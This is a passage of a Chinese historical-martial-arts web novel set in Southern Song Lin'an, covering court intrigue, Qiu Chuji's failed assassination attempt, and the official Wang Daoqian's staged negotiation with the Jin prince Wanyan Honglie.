赵茵萝本来有些僵硬的脸庞突然间绽放出水仙花一般的微笑,莹莹的眼眶里也是即将溢出来的喜悦。 “必然是合口的。” 至于说这次赵茵萝进宫试探宋宁宗的结果,都不用赵茵萝开口,陈子云就知道了。 光看宋宁宗将赵令派过来,就足够说明一切了。 赵茵萝的试探很成功,宋宁宗不但反应出了对于她装作偶然间提到的军备。 在立刻就调用了两大箱子的军弩给赵茵萝的同时,还有些反应过激的将他的眼线直接塞了过来。 明面上肯定是借赵茵萝提出动用军弩的机会,将赵令作为指挥以及教练这帮即将运用军弩的人。 实际上,在这个节骨眼上,宋宁宗也是在小心的防备。这些防备里可能没有赵茵萝,但是不可能没有韩侂胄。 而作为如今的韩家的媳妇,赵茵萝提出这样的要求,难道就没有可能是韩家指示的。 这必然会惊起宋宁宗的猜忌,作为如今的南宋第一权相,跟韩侂胄有关的任何一丝异动,都会备受瞩目。 甚至从某方面讲,相对于高高在上的宋宁宗,韩侂胄在朝堂上下的影响可能更加的直接也更加深入。 要是韩家想在这种准备跟金庭作战的时候,来一手盘外招,那到时候就算是宋宁宗怕也是首尾难顾。 不要说什么韩侂胄是主战派,正苦心孤诣的跟宋宁宗一起筹谋北伐大事,不会这般自己挖自己墙角。 可作为一个帝皇,还是一个不笨的帝皇。尤其是他们赵家的皇位还是从别人那里抢来的时候,他们赵氏的皇帝,在先天上就不得不防备这样的事情。 至于说什么韩侂胄没有兵权,如今南宋的兵权都在中央,不可能有人助他黄袍加身。 王莽篡汉历历在目啊,同为外戚,都是百官之首,谁敢保证,韩侂胄就不会走王莽的老路子。 而且,如今依附在韩侂胄旗下的朝臣,就是连宋宁宗都不敢确认到底有多少。 那些言听计从,以韩侂胄马首是瞻的自然不用说,但是那些明着跟韩侂胄唱反调的,难道暗地里就不能跟他勾结吗。 这就是帝王的无奈,他们注定是没有朋友的,不管再亲近的臣子,都不可能得到完全的信任。 因为帝王不能犯错,一旦错了,那可能就是天下倾覆。 …… 赵令刚出了公主府,就一把抓过跟他一起来的一个侍卫,从牙齿缝里说出一句。 “将裴靖给我找来,我在天香楼等他,半个时辰内见不到人,你就别跟着我了。” 赵令说完就走了,也不管那个倒霉的侍卫知不知道裴靖是何人。 他现在胸中的怒气,需要美酒和美女来平复,天香楼自然是他的首选。 裴靖作为临安城玄部的负责人,当知道有人在城里找他,而且找他的人还是从宫里出来的人物时,心里是有些慌的。 虽然这些年,他扯着韩家跟公主府的牌面,自然是在临安城里风雨皆收。但那也是针对普通的市井百姓以及一些上不得台面的小官僚的,对于真正的那些达官贵人,裴靖还是知道自己的斤两的。 虽然他如今也是子虚的小头目,可这地位不是那种能宣扬的。 而且他毕竟是底层出生,对于自己的狐假虎威终究还是有些自知之明,没有在城里胡来,这也是陈子云能容忍他犯些小错的原因。 人啊,贵在知分寸。 等裴靖自己找到天香楼的时候,赵令已经喝的朦朦醉了。 “小的裴靖,参见赵统领。” 裴靖利落的拜见,姿态放的很低。对面的这个在两个歌女中间红着脸喝酒的青年,不管谁那个身份,都不是他裴靖能得罪的。 赵令像是没有听到裴靖的话,或者是已经真的喝多了,那眯着的眼,只是一个劲的往旁边的歌女身上凑。 裴靖本打算再拜见一次,却听到赵令直接对着雅间外站岗的侍卫吼道。 “本统领定下半个时辰的时限,过了过久了?” “回统领,已经超过了小半刻。” 一个侍卫达到。 “那家伙还没将人找来,你去告诉他,让他滚蛋,本统领手下不需要这样的废物。” “……” 那个侍卫似乎犹豫了一下。 “哑巴了,还是你也想跟着一起滚。” 赵令喝道,吓得身边的两个歌女也是楞在了那里。 “诶,怎么停了,接着唱,这事与你们无关。本统领向来公私分明,你们的职责只是逗我开心。 我教训的是那些办事不利的废物。” 赵令嘴上笑着,可眯缝着的眼里不知是有意还是无意的扫过裴靖的位置。 第二百二十五章 开始 “是,统领,我这就……” “统领,他回来了。” 那位门口的侍卫急忙回道。 “统领,属下失职,请统领处罚。” 那位归来的侍卫直接跪倒在了雅间的门外。 “既然知道失职,那就滚吧,去库里领三个月的薪俸。” 赵令直接大手一挥,就要打发这位回来的侍卫。 “统领,请您开恩,再给我一个机会。” “怎么,当我的话是放屁。你们跟我的时间也不短了,应该知道,我这里从来不养闲人。” 赵令的语气变得危险。 叮铃一声脆响,随即血花四溅,又是一声闷哼。 只见那个原本跪着的侍卫的左手手掌上已经插上了一把匕首,鲜血不住的顺着刀尖向下流淌。 侍卫浑身颤抖,却在极力的抑制着自己的语调说道。 “统领,请给我一个机会。” 说完这句话的时候,侍卫的额头已经是满布汗珠,在这个已经是靠近腊月的时候。 “啊呀,裴靖有罪,是裴靖来迟了。” 裴靖知道,不管对方这一出戏是不是故意演给自己看的,自己再不入场,就真的要被这个刚上任的上司给记恨了。 “嗯,你是谁,你是何时进来的。你是怎么看门的,废物。” 赵令迷迷糊糊的指着刚才守在门外的侍卫喝道。 那人也不辩解直接就跪下了,哪怕他刚才是请示过的。 “属下裴靖,是……” 裴靖打量了一下房间里的人,犹豫要不要说出身份。 “究竟是谁?” 赵令喝道,似乎是对裴靖的犹豫不决很是不耐。 “是公主殿下派遣来跟随赵统领的裴靖。“ 裴靖耍了个小聪明,既然子虚的身份不适合在这样的场合说,那就抬出公主府的招牌,他这一招也算是用的娴熟了。 果然提到了公主,确实让从赵令快要暴走的状态中冷静了下来,可同时也变得冷得下人。 赵令睁大了些似乎因为微醺而眯缝着的眼睛,打量着面前的裴靖。 可他那目不转睛的样子,以及从眼睛里露出来的不像是看人的神色,都让裴靖有些心凉。 就这么足足一盏茶的时间过去,突然间,一块牌子从赵令的飞了出来,毫不客气的砸向裴靖。 裴靖本能的想躲,可偏转了一角的头却被他停在了半空,任凭那有些眼熟的令牌砸在自己的眼角。 一丝细细的红色从他的眼角溢出。 裴靖却是没时间理会,反而是迅速的用自己的衣袖遮住了那块沾了他血的令牌。 “卑职有罪。” 沉默,赵令没有回应。 裴靖眨了眨被自己血液弄的有些发痒的眼睛,缓缓的低下头,让额头直接触在雅间的地板上。 “你就不用看一眼令牌,再来认我这个从没见过的上司?” 赵令的语调变得意外的平和,彷佛与刚才惩罚侍卫,扔令牌砸人的家伙完全不是同一个人。 “卑职不敢。” 裴靖依旧低着头。 他依稀听到有连个脚步声从房间里离开了,应该就是刚才已经被吓的不轻的陪酒歌女。 随后是一声轻轻的,房门被关上的声音。 “起来吧,不用藏那块令牌了,如今这雅间里只有你我。” 赵令的语气依旧平淡。 当裴靖抬头看到那个刚才还一脸醉态的公子哥,如今已经是常人摸样,不由得心里暗骂不已,对方果然是在逗自己玩呢。 “卑职子虚玄部,临安情报负责人,裴靖见过统领。” 裴靖又正式的行了一个下属的礼仪,恭敬的将令牌递上。 “嗯。” 赵令回应了一声。 “刚才的事情你别在意,那是给别人看的。你作为子虚的老人也应该知道,咱们这样的组织,总要有个理由密谈才不会被怀疑,是吧。” “不敢,属下……” 裴靖连忙道。 “不用紧张,你可能不知道我跟公主的关系。我们是在宫里一起长大的,我厚颜让公主称呼我一声堂哥。” 赵令缓缓的道。 “叩见小王爷……” 裴靖再次行礼。 “诶,小王爷这样的话就别再乱说了。虽然我出身皇室,但是历朝能封王的本来就少,要是上数三代,倒也是说的过。” 赵令嘴上虽然拒绝,可分明看得出他对于裴靖的上道,或者说对于自己刚才安排的那一手之后,让裴靖如此驯服,很是得意。 “是,一切听统领吩咐。“ 裴靖半低着头道。 “好了,过来坐。茵萝在公主府里跟我说过,你是子虚的老人了,玄部的事情后面还要指望你呢。” 赵令语调变得温和。 “卑职不敢,卑职不过衙役出身,做事也是本着一个勤勉,当不得统领如此夸奖。” 裴靖道。 “好,来日方长,先不说这些,陪我先喝一杯。” 赵令说着就把那两个陪酒歌女留下的其中一个酒杯递给了裴靖。 裴靖接过,看着那酒杯上半点朱唇留下的印记,以及里面被喝了大半的酒水,笑着将这杯酒喝下。 “好……哈哈哈……” …… 师傅羽化,师叔失踪,全真教站在江湖中顶流门派的地位岌岌可危。奈何自己的大师兄马钰又是个不擅争强斗狠的性子。 要是让他在道门中修道,自然是再好不过,可如今风雨飘摇的全真教必须要有个能让川陕两地都拜服的人物出来顶着不可。 作为全真七子中性格最是刚烈,同时武功也是最高强的丘处机自然逃不了,也是责无旁贷的扛起了这份责任。 所以,这段时间以来,长春子的名头可以说是在继王重阳之后响彻了川陕两地。 而不久前,一个无意间得来的消息,让全真教或者说是丘处机看到了将这份影响力延伸到江南的好时机。 王道乾,一个名不见经传的小人物。作为今年南宋派遣来金庭联络朝贡的大使,竟然有勾结金人打算进攻江南的举动。 这让自认为是宋人的丘处机以及全真教的诸位都是义愤填膺。丘处机甚至连自己那位掌教师兄说要好好打听,从长计议的话也没有听讲去,就直接一个人单人匹马追着正在回临安的王道乾去了。 第二百二十六章 雪夜杀机 可惜等丘处机一路追到了临安也没有撞见王道乾所在的队伍,他只好在临安城四处寻访,倒是让他找到了王道乾的住所。 可惜,每当他打算靠近那府宅大院的时候,总能感觉到自己被高手盯上,而且不止一个。 丘处机虽然有些刚强,但绝不鲁莽。直到强闯杀人行不得,自然就开始等待机会。 终于在一个江南难得的雪天里,这缩的跟乌龟一个德行的王道乾终于是露出乌龟头了。 原来这一天是金庭派遣来的六王子邀请王道乾去西湖赏雪喝酒。王道乾本来是不愿意的,这鬼天气哪里有躺在自己小妾暖和的肚子上喝酒舒服。 可没办法,不管是皇帝陛下还是韩大宰相,他们给他下达的指令,就是伺候好这位金庭六王子,完颜洪烈。 所以,王道乾就算出门前再不舍,再抱怨,他也只能忍着寒冷顶着大雪,乘着轿子往西湖去。 丘处机用屋顶的积雪擦了擦脸,任凭这刺骨的寒冷,给他带来几天不曾合眼的之后的清醒。 这个卖国求荣的畜生,不管是为了南宋还是为了全真教他都要誓杀他。 而且让他惊喜的是,那几道让他在王府附近惊厥的视线,似乎这次没有跟着王道乾一起出来。 这简直是天赐良机,丘处机哪里还会犹豫,也不管这里是不是临安大街了,直接飞出一剑,直取轿中人的首级,他要在所有护卫都反应之前结果这个贱贼。 不管是那些在风雪中自身难保的普通守卫,还是那四个抬得满头是汗的轿夫,当丘处机飞剑而来的时候,基本都没能反应。 当丘处机的剑已经刺进了轿帘的时候,才纷纷惊叫开来。 轿夫立刻四散,一些胆小充数的侍卫也颤巍巍的往后躲,倒是有两个拔刀的,可他们此时也只是呆呆看着那把已经插入了轿子一半的剑。 也不知道是在确认里面的人是活着他们打算救救,还是确认如果对方死了,再给对方报仇。 而丘处机此时也察觉到了不对劲,因为他的宝剑在插入轿帘之后,似乎遇到了什么阻碍。 难道是这狗官怕冷将轿门关上了,可也不对,自己这把宝剑别说是穿透普通的木头,就是不厚的铁片也是轻而易举,不该有如此阻力。 而当他想把宝剑抽出来的时候,那坚不可破的阻力,瞬间让丘处机背心一凉,不对。 还不等丘处机反应,轿中的人直接连轿门带着宝剑一起冲了出来。丘处机只好先躲开,连手中的宝剑也不得不先丢下。 这是他丘处机闯荡江湖以来,从未碰到过的事情。 丘处机立刻架起全真教掌法的起手式,作为全真教的全真七子里的扛把子,他可不是只会一手剑法。 一个苗条的身影从轿子里缓缓走了出来,没有想象中的雷霆突击。一双洁白无瑕的玉手,正把玩这丘处机留下的那把宝剑。 只见她手指轻弹,一声清脆的剑鸣。 “好剑!” 丘处机看清了对方的容貌,竟然是一个相貌普通的女子。 不过当他看到那双犹如水晶般透彻的眸子时,他就不得不将普通二字收回了。 也是,能在自己手中如此轻易夺剑的人物,不管对方是男子还是女子,绝不会普通就是了。 “道长不在山中修行,怎么也来沾染这红尘了,不怕道心受染,连累道行吗?” 丘处机见那女子樱唇起合,谈吐却是不凡。 “出家人本应慈悲为怀,可是这世道有这般的害民奸贼、通敌仇寇,贫道如何能袖手旁观!” 丘处机恨恨的道。 “咯咯咯……好笑,当真好笑。” 那女子似乎是听到了什么让她俯仰大笑的笑话似的,笑个不停。 “有何可笑之处。” 丘处机虽然羞恼,但是终究还是有些涵养的,让他不至于对这般的女子一般见识。 “道长,你也知道自己是方外之人。要说参道,拜神,你自然是了如指掌的。 可这朝堂天下的事,你又是如何去判断好坏的,就因为从某个茶馆里听来的几句闲谈,就断定一个当朝命官的善恶好坏,是不是太儿戏了些?” 那女子似乎并不着急,反倒与丘处机谈天起来。 “哼,贫道自然有判断的法子。” 丘处机的态度反而更激烈些,似乎不愿意与这来历不清的神秘女子攀谈。 “道长所说的法子,就是在这人的府外蹲守三天,根据这府门口进出的人物来判断他的好坏。 还是通过酒店里的小伙计给你随意打探来的一些流传在街头巷尾的小道消息,就判定这人该死?” “你……” 丘处机显然被这话气的不轻。 “你早知道我来了?当初在狗官府外窥探我的人是你?” 那女子摇摇头。 “这天下间或许有人值得我如此,但绝不是他。” “你到底是何人,为何要护着这贪官。贫道看你也是宋人,你难道不知道这大好的江山,就是被这帮人给断送的吗!” 丘处机愤然道。 不知道是不是被丘处机激烈的语气给戳到的痛点,那女子在恍然间似乎变得和善了不少。 “道长,你的想法我能理解。曾经我也是这般的想的,历代王朝似乎都是因为官员的不作为,腐败,卖国求荣导致了山河破碎。” “难道不是!” 丘处机道。 那女子摇摇头。 “是,但也只是十分百分甚至千分之一罢了。地域、文化、技术发展、外来入侵乃至一场疫病,都能摧毁一个王朝。 纣王也好,周幽王也罢,他们的王朝不是因为妲己才亡,也不会因为褒姒而灭。 一个人的作用没有那般的伟力,最多不过就是个导火索而已。 王朝的溃败,是历史的必然,也是人类发展的必然。 当把如此数量的不同个体,都圈固在一个密集的集合体中。矛盾分歧,厮杀掠夺,这本来就是永远不可能改变的话题。 人们能做的,不过是一遍一遍的替代,中间要是能有一些制度上的革新,那就已经是难得的好事了。” 丘处机皱着眉头,有些不明面前的女子说的是什么。 第二百二十七章 丘处机的憋屈 那女子似乎也明白了丘处机的不理解。 “道长,我知道如今跟你讲这些太过遥远。我只是想告诉你,若是我大宋会亡在王道乾这样的一个小人物手里,那只能说明,是时候到了而已。” “你……气煞贫道,贫道不管你是何人,既然你要阻拦,就别怪贫道欺负女流了。” 丘处机一掌向前,使的正是王重阳的绝学——履霜破冰掌,看似柔弱无力,实则后劲无穷。 不过丘处机并没有一下子就下死手的意思,所以这掌中之力留了三分。 那女子先是嘴角一笑,随即单手宛若游丝,柔若无骨中带着几分飘然的味道,与丘处机的履霜破冰掌轻轻一搭。 丘处机随即就像是被马蜂蛰了一般似的,连忙跳开,甚至还用手捂着刚才被那女子搭住的地方。 丘处机咬着牙,压下了心中瞬间闪过的不可置信,又是一掌击出,这一次他没有再留手。 刚才瞬息之间,他已经明白对方虽然看着年轻,功却不在自己之下,要是再留手就不是大度,而是愚蠢了。 履霜破冰掌全力而发,可同样的,那个女子只是换了只手,同样的准确的点中了关键处。 “你如何知道这掌法的!?” 丘处机又惊又怒,自己虽然不孝,只得恩师三分真传,但是这天下第之人的掌法,要是不事先知道破处,怎么可能会被人一出手就制住。 “你走吧,不管是出于我对重阳真人的敬意,还是因为某人要我对全真教的人客气些,今天我都不想伤你。” 那女子说完就转身而去,全然不顾及丘处机会不会在背后偷袭。 看着那把被神秘女子随意遗弃在一边的宝剑,丘处机简直羞愧的想要自我了断。 “休走,我全真教何须教人饶命。” 可那女子只是回头略略的打量了他一眼,就消失在了这临安的这场风雪中。 而这个时候,巡防的官兵也终于是注意到了这个地方,敲锣鸣鼓的往这里聚集。 丘处机只好恨恨的捡起自己的宝剑,不得不先行离开。 而在西湖边等了许久的完颜洪烈,此时看着桌上温着酒壶的碳炉里即将熄灭的炭火,制止了仆人再次添火的意思。 “六爷,这宋朝的官员也是太不知礼数了。亏得那帮子在大金的儒生还总是念叨着,宋朝是什么礼仪之邦。 依我看啊……” “好了。” 完颜洪烈制止了仆人拙列的马屁功夫,他约王道乾出来可不是为了什么赏雪品酒的。他心中揣摩的大事要是能成,别说是让他等这么一会儿,就是等到天亮也无不可。 “来了,六爷,您看。” 在炭火完全熄灭之前,两个身影终于进入了完颜洪烈的视线。 可有些奇怪的是,按照完颜洪烈对于宋朝官场的了解,这些人出行基本都是靠人抬着的,如何会这般的雪地里自己行走。 而且那两个人,其中一个给另一个人撑着伞,可见他们的身姿仪态,却分不清哪位才是主。 “六王子。” 王道乾客气的行礼道。 “王大人,这位兄台是?” 完颜洪烈疑惑的问道。 “完颜兄称呼我子云即可,如今世道不太平,我暂时负责王大人的安全。” 陈子云微笑这道。 “是是是,这位可是请都请不来的。有他在,六王子也不必担心在这临安遇见什么不开眼的人物了。” 王道乾道。 “如此,小王就谢过子云兄了。” 完颜洪烈将信将疑的道。 “六王子客气。” 陈子云收了伞,进入亭子。 完颜洪烈在陈子云的脸上打量了几圈,看不出什么异样,只好先吩咐仆人将温着的酒菜先上桌了。 “辛苦王大人这一路顶风冒雪而来,实在是让小王倍感荣幸,还请王大人先喝些水酒,暖暖身子。” 完颜洪烈说着,亲自接过仆人递上来的酒壶,给王道乾斟酒。 “下官惭愧,这如何使得,王子远来是客,本应该是下官招待您才是的。” 王道乾虽然嘴里客气着,却是老实的接过了酒杯,美滋滋的喝了一口。 “好酒,这味道,是金国的龙雪烧吧。” “哈哈哈,王大人果然是酒中好手,这一口就喝出了门道。” 完颜洪烈赞道。 “王子见笑了,王某人没别的爱好,就喜好这杯中之物。而这大金国的龙雪烧,更是下官的最爱,多谢王子赏赐了。” 其实王道乾心中哪能不知,这不过是完颜洪烈在金国的时候,听说了自己的爱好,故意将这价值不菲的好酒从大金大老远的带过来的。 不过这种事情,王道乾作为一个合格的外交人员,自然是看破不说破。 “子云兄,要不也喝一杯?” 完颜洪烈朝着陈子云站着的地方遥敬了一杯,这倒是能衬出他礼贤下士的品质。要是一般人,见到一国的王子折节下交,自然是受宠若惊的。 “多谢六王子,不过在下今天需要负责王大人的安危,是饮不得酒的。” 陈子云摇头道。 “不错,王子,就不要勉强子云了。” 王道乾也帮着说了一句。 “哈哈,是小王鲁莽了,小王自罚一杯。” 完颜洪烈看陈子云的眼神却越发的郑重了,显然他从别人不知道细节中确认,此人的身份不简单。 随后王道乾陪着完颜洪烈附庸风雅的谈了些有关于西湖与雪之间的溢美之词。 作为资深的外交人员,王道乾在这方面倒是全然不怯场的,毕竟这时候的宋朝文官,哪个肚子里是没有几滴墨水的。 而完颜洪烈这个作为在大金也是最崇尚儒学的王子,自然对于这名满天下的西湖美景,也是有备而来的。 尤其是在两人都有相互捧角的意思的前提下,这场风花雪月的交流自然是你夸我好,我赞你妙的和谐氛围下进行着。 这酒也喝了,该铺垫的废话也说了一箩筐,氛围也到了,自然就该进入今天的主题了。 从王道乾收到完颜洪烈宴请的那一刻就知道,这场聚会绝不会是真的对方闲的无聊,来西湖挨冻的。 第二百二十八章 完颜洪烈 而完颜洪烈,自然是为了今天准备了许久,他挥挥手示意旁边的仆人先行退下,随即将目光有意无意的扫过陈子云。 王道乾自然是看懂了对方的意思,可是陈子云的去留,哪里是他能够左右的。他只是用眼角瞥了一眼,就知道这位怕是不会离开了。 “王子不必如此,有什么事情都不必瞒着子云的,您放心就是。” “这……” 完颜洪烈一时有些踌躇,也暗暗皱眉,心道这位王道乾到底靠不靠谱,这样的事情,难道是能给外人听的。 这不可言说的事情,别说友人,就是父母妻儿也是不能泄露半点的。不由得有些担心,王道乾这样的大意,到底合不合适作为联络的人选。 “如果六王子要说的是,金国下江南的事情,在下确实是知道的。而且王大人在开始谋划的时候,本人就已经知道了。” 陈子云这话说的倒是不错,可这就让完颜洪烈有些坐立不安了。 “王子,不必惊慌,这样的大事本来就不是下官一人能够做成的。而这位子云兄,那可是手眼通天的人物,有他加入,这事情才有办成的可能。” 王道乾这话,是陈子云跟他交代过的。不用让完颜洪烈深信不疑,只要让对方意识到陈子云的重要性就行。 “哦,那倒是小王怠慢子云兄了,小王自罚一杯,还请子云兄见谅。” 完颜洪烈直接就一口干了杯中酒,可却是再也没有提什么金国南下的话,显然他对于陈子云这样一位突然出现的计划外的人物还是相当防备的。 这让王道乾有些忐忑,他可是身上背着任务的。 陈子云倒是悠然自得,完颜洪烈不说话,他就在一旁赏雪看景。 其实完颜洪烈并没有表现的那么平静,要知道他可不是一个甘于平淡的人,而这次好不容易争取到的,来南宋查探虚实的机会。 要是不能将王道乾这样的关键人物把握住,那回到大金就是面对自己那些所谓的兄弟们的攻讦。 一盏茶的时间在几人互相的踌躇中过去,完颜洪烈也开始放开了心中的坚持,他要乘着王道乾正浓的酒意,问问他到底是什么意思。 “王大人,当初在京城说的大事,如今可有眉目了?” 王道乾竟然能被韩侂胄选出来做这个关键的角色,自然不是简单的人物,对于完颜洪烈的试探也是巧妙的接着。 “啊,什么大事,王子还请恕罪,下官今天属实是有些不胜酒力了,要不我们改日再谈。 子云兄,我们回去吧。” 作为一个合格的外交人物,王道乾自然不会放弃这般拿捏对方的好机会,说着就摇晃着身子,做出一副醉意朦胧的姿态。 陈子云倒是也配合,轻轻的搭上了王道乾的胳膊,像是在扶着他似的。 “诶,王大人,子云兄,稍等,何必如此着急呢。” 完颜洪烈下意识的起身要阻止两人。 王道乾只当是自己喝多了,没听到,依旧摇晃着身子,就要走出亭子往外走去了。 “好,好,王大人,是小王失礼了,不该怀疑子云兄,更不应该不相信王大人。小王在这里向两位赔礼了。” 完颜洪烈微微欠身道。 作为大金国的王子,这样的礼节可不是一般人能承受的,要是换成是任何一个其他的金国王子来,恐怕早就愤然离席了。 “这如何当得起,下官醉了,醉了,当不起王子殿下此礼。” 王道乾慌慌张张的回拜道。 两人重新落座,陈子云则是依旧那么淡淡然的站在旁边,好似刚才的那一幕完全与他无关。 “子云兄,非常人也。” 完颜洪烈脸上露出佩服的神色说道。 “六王子过奖,我今天只负责两位的安全。” 陈子云淡淡的回答。 后面的事情就是王道乾跟完颜洪烈两人开始真正交流事关金国跟南宋,国家命运的事情了。 其实两边早就不知道派遣了多少密探跟暗子,而两人又是擅长外交的高手,对于一些无足轻重的信息也是直接跳过。 王道乾的第一个问题就直指核心。 “王子,如今的大金能派出多少兵力?” 完颜洪烈毫不犹豫的伸出了一根手指。 “十万上下。” 王道乾点点头,不是说他完全相信完颜洪烈说的,而是表明对方的回答与自己收集到的信息基本相符。 “那王大人认为,我大金的军队从哪里作为切入口最合适?” 完颜洪烈也是投桃报李,直指关键。 王道乾斜嘴一笑,也没说话,而是用手指沾了一些酒水,先是在在桌子上划了一条长痕,然后又沾了些酒水,重重的点在一个地方。 王道乾划完这两笔,抬头笑呵呵的看着完颜洪烈,似乎是在跟他打哑谜。 完颜洪烈起初是有些困惑的紧缩眉头,随即不知道是想到了什么,眼神发亮的大笑一声。 “哈哈,王大人果然妙人,竟然与小王想到一起去了。” 陈子云只是瞥了一眼,就无语的看着两人互飙演技。 “哈哈,看来我与王子是相见恨晚,要是早认识些时候,说不得早就是知己了。” 王道乾笑容灿烂中流露出些许的惋惜。 “王大人,如今也是不晚,要是王大人不弃,你我以后不防兄弟相称如何?” 完颜洪烈也是笑的容光焕发。 “完颜兄?” “王兄,有礼了。” “哈哈哈……” 陈子云不着痕迹的往后推了小半步,顺便抖落身上半两的鸡皮疙瘩。 “王兄,虽然我大金铁骑无敌于世,但要攻下这座坚城,难免损失。不知王兄可有赐教,让这损失减到最小。” 这就是完颜洪烈的最终目的了。 要说如今金庭的军事实力肯定是在南宋之上的,要是不顾一切的攻略南宋,自然是可以将其吞并。 可这样的吞并,必然也是伤敌一千自损几百。 而如今的金国比邻的可不是只有南宋一个,北方的蒙古已经有统一之势;西边的西夏也是虎视眈眈;就算是接壤不多的吐蕃诸部,难道就不会在金庭与南宋两败俱伤的时候,浑水摸鱼? 第二百二十九章 定计 所以,在金庭的国策中,伐宋是可行的,但绝不能倾尽全力,要不然就会面临四面皆敌的局面。 而如果能通过少量的损失,占得宋地,自然就是金庭最渴望的。这也是完颜洪烈如此看重王道乾的原因,只要能通过这个人达到目的,就算是对方要金山银山,他也绝对不会犹豫。 而且他也早就打探清楚了,对方不但好酒,;另外两方面也是不含糊的。如今两名精挑细选的美女已经在王府外等着,她们手里还捧着各种珍宝。 这招美人献宝,是完颜洪烈的谋士想出来的,为的就是万一今天如果没谈好,这两样东西能让他有个再商量的机会。 要是谈好了,这两样东西就当是大金送上的定金了,至于后面的全款,自然是许诺的荣华富贵,高官厚禄了。 “难,难,难啊!” 王道乾知道对方已经上钩了,美滋滋的喝了一口美酒道。 完颜洪烈殷勤的给王道乾斟酒,这次王道乾连推辞都没有了,悠然的享受这位来自金国王室的服务。 “还请王兄教我,若是王兄但凡有所需,小王无有不应。” “哈哈哈,完颜兄当真说笑了,我一个礼部文臣哪里会懂这些武人才知道的东西。” 王道乾喝着酒,可就是不出真东西。 “王兄何必戏弄小弟,这大宋朝廷,谁人不知是文人当政,武人不过是看家护院的下人。 以王兄如今的地位,要是说一句话,哪个武人敢违拗的。” 完颜洪烈心中既有羞怒之火,也有期待之心,要是今天这个眼前的王道乾真能给自己指路,那就是再让他端茶递水也心甘。 可要是这位只是耍着自己玩,那就说不得必然要让其不得善终了,否则真当他堂堂大金国的六王子是泥捏的。 王道乾放下了手中的空酒杯,完颜洪烈正想再次倒酒,却被王道乾给挡回去了。 完颜洪烈要开口,王道乾又抬手制止了对方。 王道乾站起身,走了两步,这让完颜洪烈以为对方要走,差点就从座位上跳起来,可随即见对方只是在亭子中踱步,便又安坐下了。 只见王道乾绕着半个亭子,来回的走着,眉头却是越皱越紧。时而看看雪白的西湖,时而瞧瞧脚下的地面。 似乎是在寻找什么,找什么呢?当然是刚才问题的答案了,完颜洪烈想到这里,便惊喜万分。 眼睛也不由自主随着王道乾的身形不断的移动,随着对方的时快时慢的步伐,彷佛连自己的心跳也变得不安分了。 王道乾又如此走了两圈,却突然之间回到了自己的座位上。 “王……” 完颜洪烈下意识的以为对方是想到了办法,急不可待的开口。 “勿躁。” 王道乾连眼皮都没抬起,只是抬手对着完颜洪烈示意了一下。这下就彷佛是把一根大鱼骨头直接塞进了完颜洪烈的喉咙,让他整张脸都被憋的发红。 而王道乾却在那边,半眯着眼,神态自若的用右手的四根手指,如弹琵琶一般的有节奏的敲击着桌面,似乎陷入了一种更加深邃的思考。 这让完颜洪烈气恼的同时,又不敢打搅,生怕自己刚才的种种憋屈都白白忍受了。 咚咚咚……咚 咚咚咚……咚 …… 王道乾手指敲击的声音其实不大,但是在这个小亭子里却牵动着人心。 那双微微眯缝着的眼睛,在观察了完颜洪烈片刻之后,他知道自己酝酿的火候到了。 作为一个外交人员,知道如何掌控谈判的节奏,这是最重要的的天赋,而王道乾天生就算有这样的本事。 “有了。” “什么?” 完颜洪烈整个人直接就从座位上跳起来了。 “王子别急,王某人想到法子了。” “是是是,王兄见效,是小王失态了,不知王兄是否是想到了好计策?” 完颜洪烈竭力的按捺着自己的性子。 “嗯……倒是有几分把握,只是……” 王道乾轻轻敲击着酒碗的边沿,面色有些犹豫的说道。 “王兄,尽管说就是了,何必要如此折磨人。” 完颜洪烈也是有些不想忍了。 “哈哈,完颜兄,稍安勿躁。王某的主意其实也不是什么巧妙的勾当,只是刚才想起来,这个关隘里刚好有个王某的莫逆之交。 是个投笔从戎的老朋友,要他直接投靠大金肯定是不行,可要是由王某出面耽误他片刻,或者说直接将其灌倒…… 到时候王某派人拿着他的令牌,帮王子骗来城门,那这关隘不就是任凭大金铁骑驰骋了。 要是这般王子还没有信心拿下城池,那就恕王某爱莫能助了。” 王道乾摸着自己的胡子,得意的道。 “王兄可是当真的?“ 完颜洪烈一把就抓住了王道乾的一只手,激动万分的道。 能阻碍大金骑兵的,也就是南宋的高清墙铁门,一旦城门放开,那南宋的城池对于大金来说就是砧板上的鱼肉。 “如此大事,怎敢戏言。” 王道乾睁大眼睛,像是在斥责完颜洪烈的不够稳重。 “诶,王兄别动气,小王自然是信你的。” 完颜洪烈自然是安抚着,如今的王道乾可是他的贵人,起码在这件事做成之前,自己必须供着对方。 “可是……” 王道乾突然来了个转折,这把完颜洪烈的心都揪出了胸腔。 “什么?” “我作为南宋文臣,无缘无故如何去得了这关隘?” 王道乾的话就像是一盆混着冰屑的凉水,直接泼在了完颜洪烈头上。 “这……” 完颜洪烈直接傻眼了。 “王大人,你就没有办法去吗?” 王道乾摇摇头。 “我作为礼部官员,自然是要在临安的,除非像上次那般被朝廷派遣去大金公干,要不然怎么可能随意离开。” “去大金,不错……这样……那就……” 完颜洪烈眼睛突然又有了神光,似乎想到了什么好主意。 “王子可是想到了办法,让王某能去这关隘之中?” “哈哈,不错,不过这次轮到小王卖一次官子,王兄你就等着新认命吧,哈哈哈。” 第二百三十章 死间 完颜洪烈似乎对自己的办法十分有把握,从笑声中就能听出这份自信来。 “那王某就静候王子的佳音了。” 王道乾喝完最后一杯酒,带着满怀的笑意与完颜洪烈道别了。 他看得出完颜洪烈此时已经心不在焉,显然在为刚才自己想到的办法而自得,同时又想着立刻安排执行下去,自然就没心思与王道乾闲扯了。 陈子云也与完颜洪烈道别,撑开伞,护着王道乾就往回走了。 其实西湖离王道乾的府邸并不算太远,按照两人的脚程,也就半个时辰的样子。 可陈子云明显发现,王道乾的脚步,比来的时候慢了不少,而且他也注意到,对方那若有似无的眼神一直在偷偷的打量自己。 可王道乾只是忍着不说话,直到两人都靠近了王府,他的神色才有了几分不自然的急切。 “驸马爷就不问问我刚才为何要那般挑逗完颜洪烈?” 陈子云看了看这个终于没能忍住的王道乾。 “欲擒故纵。” 简单的四个字,王道乾却是如吞下了一只大蛤蟆,张着嘴,看着陈子云楞了半响。 “驸马爷您真当是深藏不漏啊。不过也是,有韩相爷的教导,下官的这点把戏自然是瞒不过您的。” 王道乾自然是把陈子云的眼力,看成是韩侂胄的有意培养了。同时也把陈子云这位原以为是享受福荫,好运娶了公主才富贵的驸马爷的地位拔高到了另一个档次上。 “王大人过奖了,我也就是旁观者清,要是让我来像王大人这般实际的操纵人心,我是做不到的。” 